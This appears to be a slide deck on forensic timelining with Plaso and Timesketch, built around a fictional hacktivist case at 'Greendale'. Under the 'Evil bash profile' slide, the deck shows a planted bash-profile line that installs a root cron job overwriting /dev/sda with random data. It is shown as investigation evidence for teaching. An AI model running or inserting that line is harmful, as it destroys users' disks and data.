New generation timelining

Plaso and Timesketch
Introductions

**Plaso:** Timelines

**Timesketch:** Analysis

**Me:** Forensics, etc.
Our characters
The Task - assigned to Ahmed

Registrar resigned unexpectedly

Did he steal the prospective students list?
Did the registrar steal the list?
Plaso with Viper

$> psort.py -d --output-format null --analysis viper --viper-host 192.168.192.7:8080 registrar.plaso

[INFO] Data files will be loaded from /usr/share/plaso by default.
[INFO] Starting analysis plugins.
[INFO] Plugin: [viper] started.
Viper in TimeSketch
Sharing is Caring
An image of RAM
“We are opposed to any and all forms of air mutilation (so called ‘air conditioning’). Air must be free to be turbulent, flowing as nature intended.”
OS X Analysis
What we know

Registrar is probably up to no good

Hacktivist tool on the registrar’s machine, planted from a student machine

Suspicious connection to the Dean’s laptop from the same student machine

Tool appears to have been put there by an hacktivist group who hate air conditioning

Greendale have a big project involving air conditioning in the works
Time pressure

```bash
$> log2timeline.py -f /usr/share/plaso/filter_windows.txt --status_view=window student-pc1-triage.plaso student-pc1.dd
```
Plink?
Wait - what was that again?
Known hosts

$> image_export.py --names known_hosts --partition 2 dean_mac.dd

$> cat known_hosts

192.168.1.14 ssh-rsa AAAAB <snip>
Suspicious modifications
Evil bash profile

... # set PATH so it includes user's private bin if it exists
if [ -d "$HOME/bin" ] ; then
  PATH="$HOME/bin:$PATH"
fi

! [ -f /etc/cron.d/update ] && sudo -- "echo '0 0 1 11 * /bin/dd if=/dev/random of=/dev/sda' > /etc/cron.d/update"
Disaster Averted!

Found evidence on multiple OS’

Shared with other investigators less painfully

Used other multi-case utilities

Saved Greendale!

If you’d like to take a look at this data yourself, check out https://demo.timesketch.org
References

Timesketch, Plaso and Google logos used with permission

RAM Image is the property of the presenter

Turbulent Airflow Alliance, Cyber Forensic Affordances and Greendale Polytechnique logos are the property of the presenter